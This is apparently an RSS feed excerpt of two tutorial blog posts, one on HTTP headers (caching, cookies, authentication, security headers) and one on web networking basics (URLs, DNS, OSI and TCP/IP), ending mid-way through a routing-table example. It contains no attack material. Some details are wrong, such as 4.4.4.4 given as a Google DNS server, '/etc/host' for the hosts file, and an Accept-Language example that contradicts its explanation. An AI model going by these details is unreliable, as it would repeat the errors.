&lt;ul&gt;
&lt;li&gt;authentication (&lt;code&gt;WWW-Authenticate&lt;/code&gt;, &lt;code&gt;Authorization&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;caching (&lt;code&gt;Expires&lt;/code&gt;, &lt;code&gt;Cache-Control&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;whether the resource has been changed or not (&lt;code&gt;If-Modified-Since&lt;/code&gt;/&lt;code&gt;Last-Modified&lt;/code&gt;, &lt;code&gt;If-Match&lt;/code&gt;/&lt;code&gt;ETag&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;content negotiation (&lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;Accept-Encoding&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;cookies (&lt;code&gt;Cookie&lt;/code&gt;, &lt;code&gt;Set-Cookie&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;abbr title=&#34;Cross-Origin Resource Sharing&#34;&gt;CORS&lt;/abbr&gt; (&lt;code&gt;Origin&lt;/code&gt;, &lt;code&gt;Access-Control-...&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;message body information (&lt;code&gt;Content-Type&lt;/code&gt;, &lt;code&gt;Content-Length&lt;/code&gt;, &lt;code&gt;Content-Encoding&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;proxies (&lt;code&gt;Via&lt;/code&gt;, &lt;code&gt;Forwarded&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;redirects (&lt;code&gt;Location&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;request context (&lt;code&gt;Host&lt;/code&gt;, &lt;code&gt;User-Agent&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;response context (&lt;code&gt;Server&lt;/code&gt;, &lt;code&gt;Allow&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;security (&lt;code&gt;Content-Security-Policy&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also, you can use your own custom headers, too. Earlier it was enough to start them with &lt;code&gt;X-...&lt;/code&gt;, but since some x-headers were standardized (like &lt;code&gt;X-Frame-Options&lt;/code&gt;) or widely used (&lt;code&gt;X-Forwarded-For&lt;/code&gt;) meanwhile, you&amp;rsquo;d better check it if it&amp;rsquo;s already used. But of course, something like &lt;code&gt;X-YourGithubUsername-Whatever&lt;/code&gt; should be pretty safe to use.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see some features implemented with the help of headers.&lt;/p&gt;
&lt;h3 id=&#34;data-compression&#34;&gt;Data compression&lt;/h3&gt;
&lt;p&gt;Request:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Accept-Encoding: br, gzip
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Response:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Content-Encoding: gzip
Vary: Accept-Encoding
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;http-authentication&#34;&gt;HTTP authentication&lt;/h3&gt;
&lt;p&gt;While modern frameworks/websites use more sophisticated/secure methods for authentication, the classic HTTP authentication is still an option, and in some cases it can be useful. For example URLs can contain the credentials in the form of &lt;code&gt;https://username:password@www.example.com/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If the server responds with &lt;code&gt;401 Unauthorized&lt;/code&gt; status code and there&amp;rsquo;s at least one &lt;code&gt;WWW-Authenticate&lt;/code&gt; header, the client will typically prompt the user for credentials. The &lt;code&gt;WWW-Authenticate&lt;/code&gt; header usually has a &lt;code&gt;type&lt;/code&gt; and a &lt;code&gt;realm&lt;/code&gt; (which is the name of the protected area).&lt;/p&gt;
&lt;p&gt;Then the client responds including an &lt;code&gt;Authorization: &amp;lt;type&amp;gt; &amp;lt;credential&amp;gt;&lt;/code&gt; header.&lt;/p&gt;
&lt;h4 id=&#34;authentication-types&#34;&gt;Authentication types&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Basic&lt;/code&gt; - base64 encoded credentials&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Digest&lt;/code&gt; - md5/sha/&amp;hellip; hashed credentials (&lt;em&gt;very minimum&lt;/em&gt; added security compared to basic)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bearer&lt;/code&gt; - some kind of token (OAuth, JWT)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;As any other kind of authentication on the internet, only provide your credentials over secure channel - &lt;code&gt;HTTPS&lt;/code&gt; in this case!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;content-negotiation&#34;&gt;Content negotiation&lt;/h3&gt;
&lt;p&gt;The client can specify some properties of the response which it prefers, using the &lt;code&gt;Accept-*&lt;/code&gt; headers.&lt;/p&gt;
&lt;p&gt;The response should contain the &lt;code&gt;Vary&lt;/code&gt; header with the &lt;code&gt;Accept-*&lt;/code&gt; headers involved or might use &lt;code&gt;300 Multiple Choices&lt;/code&gt; or &lt;code&gt;406 Not Acceptable&lt;/code&gt; response status codes.&lt;/p&gt;
&lt;h4 id=&#34;some-accept-headers&#34;&gt;Some &lt;code&gt;Accept&lt;/code&gt; headers&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Accept: &amp;lt;mime-type&amp;gt;/&amp;lt;mime-subtype&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Encoding: &amp;lt;encoding&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Language: &amp;lt;language code&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All headers above can contain a list of (optionally) weighted options. For example if the client prefers german, but understands english (with 0.8 priority) or hungarian (with 0.4 priority) as well, it can use:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Accept-Language: en, de;q=0.8, hu;q=0.4
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;caching&#34;&gt;Caching&lt;/h3&gt;
&lt;p&gt;To save network bandwith and server resources, caching content in the user-agent that change scarcely is pretty useful.
But most content &lt;strong&gt;do&lt;/strong&gt; change sometimes, so it can be hand to decide what to cache and for how long.&lt;/p&gt;
&lt;h4 id=&#34;cache-levels&#34;&gt;Cache levels&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;the browser cache
&lt;ul&gt;
&lt;li&gt;it has a size limit&lt;/li&gt;
&lt;li&gt;users can turn it off&lt;/li&gt;
&lt;li&gt;some (especially older) browsers might &lt;em&gt;misunderstand&lt;/em&gt; cache related headers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;caching proxies, &lt;abbr title=&#34;Content Delivery Network&#34;&gt;CDNs&lt;/abbr&gt;
&lt;ul&gt;
&lt;li&gt;users cannot &lt;em&gt;turn them off&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;they can do other kind of fancy stuff (like image resizing/recompression, minify resources, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;if something is cached here that should be not, it can cause hard to discover, tricky issues&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So properly controlling the caching of our resources is an important thing.&lt;/p&gt;
&lt;h4 id=&#34;typical-cachable-content&#34;&gt;Typical cachable content&lt;/h4&gt;
&lt;p&gt;Browsers tend to cache these responses even without any special header:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;simple documents, images that rarely change (GET =&amp;gt; 200 OK)&lt;/li&gt;
&lt;li&gt;permanent redirects (GET =&amp;gt; 301, 308)&lt;/li&gt;
&lt;li&gt;some error responses (GET =&amp;gt; 404)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;cache-control-header&#34;&gt;&lt;code&gt;Cache-Control&lt;/code&gt; header&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;no-store, no-cache, must-revalidate&lt;/code&gt; - don&amp;rsquo;t cache at all&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-cache&lt;/code&gt; - browser might stores this for short period (for &lt;em&gt;back&lt;/em&gt; navigation), requests validation before using the cached copy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;private&lt;/code&gt; - single user only, browser can cache it, proxies shouldn&amp;rsquo;t&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt; - can be stored in a public cache (proxy, CDN)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;must-revalidate&lt;/code&gt; - can be cached, with &lt;a href=&#34;https://horak.hu/posts/http/#validation&#34;&gt;validation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max-age=&amp;lt;seconds&amp;gt;&lt;/code&gt; - can be stored for the given time&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Expires&lt;/code&gt; header with a date (which is a client side date, so not very reliable)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The old &lt;code&gt;Pragma&lt;/code&gt; header was for HTTP/1.0, don&amp;rsquo;t use it anymore.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;validation&#34;&gt;Validation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ETags&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&amp;ldquo;strong&amp;rdquo;&lt;/em&gt; validator&lt;/li&gt;
&lt;li&gt;server sends &lt;code&gt;ETag&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;client uses &lt;code&gt;If-None-Match&lt;/code&gt; with the cached &lt;code&gt;ETag&lt;/code&gt; value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Last-Modified&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&amp;ldquo;weak&amp;rdquo;&lt;/em&gt; validator&lt;/li&gt;
&lt;li&gt;server sends &lt;code&gt;Last-Modified&lt;/code&gt; header with date&lt;/li&gt;
&lt;li&gt;client uses &lt;code&gt;If-Modified-Since&lt;/code&gt; with the cached date&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the content wasn&amp;rsquo;t modified, so the cached data can be used then the server responds with a &lt;code&gt;304 Not Modified&lt;/code&gt; response. Otherwise a normal &lt;code&gt;200 OK&lt;/code&gt; response is sent back with the updated content (and with updated validation related headers).&lt;/p&gt;
&lt;h4 id=&#34;vary&#34;&gt;Vary&lt;/h4&gt;
&lt;p&gt;If the server uses the &lt;code&gt;Vary&lt;/code&gt; header that means that the content can be different for the given resource based on the headers listed in the &lt;code&gt;Vary&lt;/code&gt; header, so the client must include those headers when caching.&lt;/p&gt;
&lt;h3 id=&#34;cookies&#34;&gt;Cookies&lt;/h3&gt;
&lt;p&gt;The server can send cookies via the &lt;code&gt;Set-Cookie&lt;/code&gt; header, that are stored by the browser and sent back in the &lt;code&gt;Cookie&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;One &lt;code&gt;Set-Cookie&lt;/code&gt; header can set one cookie, but a response can have multiple such headers:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Set-Cookie: &amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;; [directives separated by ;]
Set-Cookie: &amp;lt;name2&amp;gt;=&amp;lt;value2&amp;gt;; [directives]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A request can only contain one &lt;code&gt;Cookie&lt;/code&gt; header, but it can have multiple cookies separated by semicolons:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Cookie: name1=value1; name2=value2
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id=&#34;directives&#34;&gt;Directives&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Expires=&amp;lt;date&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;the cookie expires on &lt;em&gt;date&lt;/em&gt;, the client should remove it afterwards&lt;/li&gt;
&lt;li&gt;if not set, the cookie will have the lifetime of the session (it&amp;rsquo;s deleted when the tab is closed)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Max-Age=&amp;lt;seconds&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;similar to &lt;code&gt;Expires&lt;/code&gt;, but has higher priority&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Domain=&amp;lt;domain&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;if not set, current domain is used (subdomains not included)&lt;/li&gt;
&lt;li&gt;if set, subdomains are included&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Path=&amp;lt;path&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;the root of the path where the cookie is sent&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Secure&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;the cookie is only sent over secure (HTTPS) connection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HttpOnly&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;not accessible via JavaScript (through the &lt;code&gt;document.cookie&lt;/code&gt; API)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SameSite=&amp;lt;ssoption&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;some kind of &lt;abbr title=&#34;Cross-Site Request Forgery&#34;&gt;CSRF&lt;/abbr&gt; protection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Strict&lt;/code&gt;: cookie is only sent with requests initiated by the cookie&amp;rsquo;s origin site.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Lax&lt;/code&gt;: (default) cookie is also sent when the user navigates to the cookie&amp;rsquo;s origin (from an external site).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;None&lt;/code&gt;: cookies are sent on cross-site requests as well (but only in &lt;em&gt;secure contexts&lt;/em&gt;, so &lt;code&gt;Secure&lt;/code&gt; should be set too).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;security&#34;&gt;Security&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;../cors/&#34;&gt;CORS&lt;/a&gt; related headers (&lt;code&gt;Access-Control-...&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;abbr title=&#34;Content Security Policy&#34;&gt;CSP&lt;/abbr&gt;
&lt;ul&gt;
&lt;li&gt;to prevent &lt;a href=&#34;../xss/&#34;&gt;XSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;abbr title=&#34;HTTP Public Key Pinning&#34;&gt;HPKP&lt;/abbr&gt;
&lt;ul&gt;
&lt;li&gt;tells the client to trust only the given TLS public key, to prevent &lt;abbr title=&#34;Men-in-the-middle&#34;&gt;MITM&lt;/abbr&gt; attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;abbr title=&#34;HTTP Strict Transport Security&#34;&gt;HSTS&lt;/abbr&gt;
&lt;ul&gt;
&lt;li&gt;tells the client that it should use secure channel (HTTPS) to communicate with this server&lt;/li&gt;
&lt;li&gt;prevents some MITM attacks with HTTPS termination, or attacks hijacking the HTTP-&amp;gt;HTTPS redirects&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;blocks requests with &lt;code&gt;style&lt;/code&gt; and &lt;code&gt;script&lt;/code&gt; destinations if the content type of the resource is not &lt;code&gt;text/css&lt;/code&gt; or JavaScript MIME type (accordingly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Web Basics - Networking</title>
      <link>https://horak.hu/posts/web-basics/</link>
      <pubDate>Thu, 25 May 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/web-basics/</guid>
      <description>&lt;p&gt;So, what happens if you enter a &lt;em&gt;URL&lt;/em&gt; into the browser&amp;rsquo;s location bar and press &lt;code&gt;ENTER&lt;/code&gt;? A very many things, and eventually a website is loaded and rendered.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s check the networking part!&lt;/p&gt;</description>
      <content>&lt;p&gt;So, what happens if you enter a &lt;em&gt;URL&lt;/em&gt; into the browser&amp;rsquo;s location bar and press &lt;code&gt;ENTER&lt;/code&gt;? A very many things, and eventually a website is loaded and rendered.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s check the networking part!&lt;/p&gt;
&lt;h2 id=&#34;the-url&#34;&gt;The URL&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;em&gt;Uniform Resource Locator&lt;/em&gt; - an address of a resource.&lt;/p&gt;
&lt;h3 id=&#34;url-parts&#34;&gt;URL parts&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;https://horak.hu:443/posts/web-basics/?key1=value1&amp;amp;key2=value2#url-parts&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;scheme&#34;&gt;Scheme&lt;/h4&gt;
&lt;p&gt;The protocol that the client has to use to retrieve the resource. For websites it&amp;rsquo;s usually &lt;code&gt;https&lt;/code&gt; (or &lt;code&gt;http&lt;/code&gt;), but email addresses can have &lt;code&gt;mailto&lt;/code&gt;, phone numbers have &lt;code&gt;tel&lt;/code&gt;, and so on. Some systems let you regirster your own URL schemes, too.&lt;/p&gt;
&lt;p&gt;Can be omitted, in this case the protocol of the current resource is used. (Like referencing external JS files using the same protocol for security reasons: &lt;code&gt;&amp;lt;script src=&amp;quot;//3rdparty.net/whatever.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;.)&lt;/p&gt;
&lt;h4 id=&#34;domain-name&#34;&gt;Domain name&lt;/h4&gt;
&lt;p&gt;&amp;hellip; or IP address. It specifies the web server (computer) to contact. More about it later.&lt;/p&gt;
&lt;h4 id=&#34;port&#34;&gt;Port&lt;/h4&gt;
&lt;p&gt;There can be multiple web server software running on the same web server (computer) this &lt;em&gt;number&lt;/em&gt; specifies which one to use. By default 443 for &lt;code&gt;https&lt;/code&gt; and 80 for &lt;code&gt;http&lt;/code&gt;, if this is the case, it can be omitted.&lt;/p&gt;
&lt;h4 id=&#34;path-to-resource&#34;&gt;Path to resource&lt;/h4&gt;
&lt;p&gt;Representing a physical file (like &lt;code&gt;/posts/web-basics/index.html&lt;/code&gt;), or any other resource (i.e. &lt;code&gt;/api/users/dyuri&lt;/code&gt;).&lt;/p&gt;
&lt;h4 id=&#34;parameters&#34;&gt;Parameters&lt;/h4&gt;
&lt;p&gt;Key/value pairs separated with the &lt;code&gt;&amp;amp;&lt;/code&gt; symbol. The key and the value should be &lt;em&gt;URL encoded&lt;/em&gt;.&lt;/p&gt;
&lt;h4 id=&#34;anchor&#34;&gt;Anchor&lt;/h4&gt;
&lt;p&gt;It&amp;rsquo;s like a bookmark inside the resource, like &lt;code&gt;#url-parts&lt;/code&gt; pointing to this section of this document. It isn&amp;rsquo;t sent to the server, used only by the browser, or the application running inside.&lt;/p&gt;
&lt;h2 id=&#34;the-server&#34;&gt;The server&lt;/h2&gt;
&lt;p&gt;The server (computer) is identified by an IP (IPv4 or IPv6) address - but in most cases the domain name is used in the URL - how is the IP address resolved from a domain name?&lt;/p&gt;
&lt;p&gt;The most common answer is the &lt;code&gt;DNS&lt;/code&gt; (Domain Name Service), but it&amp;rsquo;s a bit more complicated. The mechanism is called &lt;a href=&#34;https://en.wikipedia.org/wiki/Name_Service_Switch&#34;&gt;Name Service Switch - NSS&lt;/a&gt;, and it&amp;rsquo;s a way to specify how to resolve &lt;em&gt;resource names&lt;/em&gt; to &lt;em&gt;resource ids&lt;/em&gt; in unix-like operating systems.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note, that the network layer of modern Windows has borrowed a lot of functionality from BSD systems ;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using NSS, you can define the order of the services used to resolve domain names. For example:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hosts: files dns nis
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which means: for host name resolution first the &lt;code&gt;files&lt;/code&gt;, then &lt;code&gt;dns&lt;/code&gt; and if all fails the &lt;code&gt;nis&lt;/code&gt; service is used. &lt;code&gt;nis&lt;/code&gt; is basically not used anymore, I&amp;rsquo;ll talk about DNS soon, but the interesting part is &lt;code&gt;files&lt;/code&gt;. It means that by entering an &lt;code&gt;IPaddress hostname&lt;/code&gt; pair into the &lt;code&gt;host&lt;/code&gt; file (usually &lt;code&gt;/etc/host&lt;/code&gt;) you can manually assing any IP address to any hostname - which can be really useful for testing purposes: you can set the domain name of any production environment to your own computer ;)&lt;/p&gt;
&lt;h2 id=&#34;dns&#34;&gt;DNS&lt;/h2&gt;
&lt;p&gt;There are some &lt;em&gt;very useful&lt;/em&gt; IP addresses that you need to know when you connect to a network - and one of them is (or are) the IP address of the local DNS server. There are also public DNS servers with well known IP addresses, like &lt;code&gt;4.4.4.4&lt;/code&gt; and &lt;code&gt;8.8.8.8&lt;/code&gt; (by Google) or &lt;code&gt;1.1.1.1&lt;/code&gt; (by Cloudflare).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Prefer to use the DNS server provided by the local network. In some environments it can resolve local hostnames too, and there might be also privacy concerns using public ones - the DNS server&amp;rsquo;s owner can basically track what sites are you visiting just by analyzing your DNS requests.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The local DNS server doesn&amp;rsquo;t know all the domain names ever registered, but they can propagate the query further to their DNS server, or eventually to the so called &lt;em&gt;root&lt;/em&gt; DNS servers that can help to find the DNS provider for the given domain. Once a DNS server has the answer, it can cache it for some time (defined by the owner of the domain name).&lt;/p&gt;
&lt;h2 id=&#34;networking---overview&#34;&gt;Networking - overview&lt;/h2&gt;
&lt;p&gt;Now that we have the IP address of the server we want to contact, let&amp;rsquo;s take a step back, and see how computers communicate.&lt;/p&gt;
&lt;h3 id=&#34;osi-model&#34;&gt;OSI model&lt;/h3&gt;
&lt;p&gt;In the early days, engineers wanted to standardize the &lt;em&gt;conceptual model&lt;/em&gt; of networking. They defined 7 layers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;physical&lt;/li&gt;
&lt;li&gt;data link&lt;/li&gt;
&lt;li&gt;network&lt;/li&gt;
&lt;li&gt;transport&lt;/li&gt;
&lt;li&gt;session&lt;/li&gt;
&lt;li&gt;presentation&lt;/li&gt;
&lt;li&gt;application&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They were used is some weird cases - I personally used &lt;code&gt;X.25&lt;/code&gt;, &lt;code&gt;FCAM&lt;/code&gt; and &lt;code&gt;CMIP&lt;/code&gt;, but I&amp;rsquo;m old as hell, and even I was surprised to met them -, but they never gained much popularity. But if we almost close our eyes and look at the current TCP/IP stack through a narrow gap, we can identify these layers more or less.&lt;/p&gt;
&lt;h4 id=&#34;physical-layer&#34;&gt;Physical layer&lt;/h4&gt;
&lt;p&gt;The physical entity - copper wire, optical cable, or the electromagnetic space - between the network appliances. Raw bit streams are travelling in this layer - as fotons, current or changes in radio waves.&lt;/p&gt;
&lt;h4 id=&#34;data-link-layer&#34;&gt;Data link layer&lt;/h4&gt;
&lt;p&gt;Data &lt;em&gt;frames&lt;/em&gt; are transmissed between two nodes connected by the physical layer. The nodes have some kind of (local) addresses - for example the MAC address in case of ethernet networks. &lt;em&gt;Routing&lt;/em&gt; in this layer is done by &lt;strong&gt;switches&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This layer is responsible for device access (MAC - &lt;em&gt;Medium Access Control&lt;/em&gt;), basic error checking and encapsulating network layer protocols (LLC - &lt;em&gt;Logical Link Control&lt;/em&gt;).&lt;/p&gt;
&lt;h4 id=&#34;network-layer&#34;&gt;Network layer&lt;/h4&gt;
&lt;p&gt;This layer provides the functionality to transfer &lt;em&gt;packets&lt;/em&gt; from one network node to another connected to a &amp;ldquo;different local network&amp;rdquo;. &lt;em&gt;Routers&lt;/em&gt; are used to find a path between these nodes and transmit the packets. (There can be multiple paths, and each packet have a different route.) Message delivery is not necessary reliable. Basically host to host communication.&lt;/p&gt;
&lt;h4 id=&#34;transport-layer&#34;&gt;Transport layer&lt;/h4&gt;
&lt;p&gt;The transport layer is responsible to deliver data from one application to another - running on a different computer.&lt;/p&gt;
&lt;p&gt;Transport protocols can be connection-oriented - usually providing a reliable connection between the applications -, or connectionless, that doesn&amp;rsquo;t track if the communication was successfull or failed.&lt;/p&gt;
&lt;p&gt;They are also split the arbitrary long data into segments that fit into the &lt;em&gt;packets&lt;/em&gt; the underlying layers can transfer in one turn.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For example a typical MTU (Maximum Transmission Unit) in local Ethernet networks is 1500 bytes. The IPv4 and the TCP headers are both minimum 20 bytes so the maximum segment size is 1460 bytes for each packet. Even most emails are longer than that.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;session-layer&#34;&gt;Session layer&lt;/h4&gt;
&lt;p&gt;Handles &lt;em&gt;user sessions&lt;/em&gt;, typically implemented explicitly in applications, like FTP, SMB, &amp;hellip;&lt;/p&gt;
&lt;h4 id=&#34;presentation-layer&#34;&gt;Presentation layer&lt;/h4&gt;
&lt;p&gt;This layer transforms the data coming from the application to something that can be easily transferred over the network. Encryption (like SSL) or compression (like gzip) can be done in this layer too.&lt;/p&gt;
&lt;h4 id=&#34;application-layer&#34;&gt;Application layer&lt;/h4&gt;
&lt;p&gt;Most protocols that are directly used by applications are here (but they usually provide the functionality of the &lt;em&gt;Session&lt;/em&gt; and the &lt;em&gt;Presentation&lt;/em&gt; layers too). For example HTTP, SMTP, FTP.&lt;/p&gt;
&lt;h3 id=&#34;the-modern-internet-tcpip&#34;&gt;The modern internet (TCP/IP)&lt;/h3&gt;
&lt;p&gt;As I mentioned above, the OSI model is not really used in our modern internet, many modern protocols are implementing features of multiple layers, but the lower layers can be more or less similar.&lt;/p&gt;
&lt;h4 id=&#34;ip&#34;&gt;IP&lt;/h4&gt;
&lt;p&gt;The IP - &lt;em&gt;Internet Protocol&lt;/em&gt; - is basically a network layer protocol, delivering packets from the source host to the destination host based on the IP addresses in the packet header via routing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Currenty there are two versions in use, IPv4 and IPv6. There never were IPv1, 2 or 3, and even though the higher version numbers are used, mosts of those projects are obsolate or abandoned.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;udp&#34;&gt;UDP&lt;/h4&gt;
&lt;p&gt;UDP - &lt;em&gt;User Datagram Protocol&lt;/em&gt; - is a connectionless transport layer protocol. It does not provide reliable transmission (but it can be implemented in higher levels), but it&amp;rsquo;s quick and stateless, suitable for simple query-response tasks (DNS, NTP), modelling lower layers over IP (tunnels, or NFS) or - due to the lack of retransmission delays - basically the only option for real time communication (VoIP, online games, RTSP).&lt;/p&gt;
&lt;h4 id=&#34;tcp&#34;&gt;TCP&lt;/h4&gt;
&lt;p&gt;TCP - &lt;em&gt;Transmission Control Protocol&lt;/em&gt; - is the connection oriented, reliable transport layer protocol of the IP family. It is used where the reliability of the connection is essential - like for file transfers, emails, remote administration (SSH), or the web (well, till HTTP/3 at least).&lt;/p&gt;
&lt;p&gt;Both UDP and TCP are using &lt;em&gt;sockets&lt;/em&gt; - a combination of IP address + port - to establish app-to-app communication, basically multiplexing the data streams to the network.&lt;/p&gt;
&lt;h4 id=&#34;routing&#34;&gt;Routing&lt;/h4&gt;
&lt;p&gt;There are more ways to get from one host to the other, and routers - using routing algorithms - are responsible for that. They can be configured in a &lt;em&gt;static&lt;/em&gt; way (probably your own computer, or your SOHO &lt;em&gt;router&lt;/em&gt; works this way) or use some kind of algorithm to find the shortest/quickest/&lt;em&gt;cheapest&lt;/em&gt;/&amp;hellip; way to the other host.&lt;/p&gt;
&lt;p&gt;The routing table of my own computer (or something like that):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ip route show
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;default via 192.168.1.1 dev enp5s0 proto static
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.0.0/8 dev wg1 scope link
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;192.168.1.0/24 dev enp5s0 proto kernel scope link src 192.168.1.11
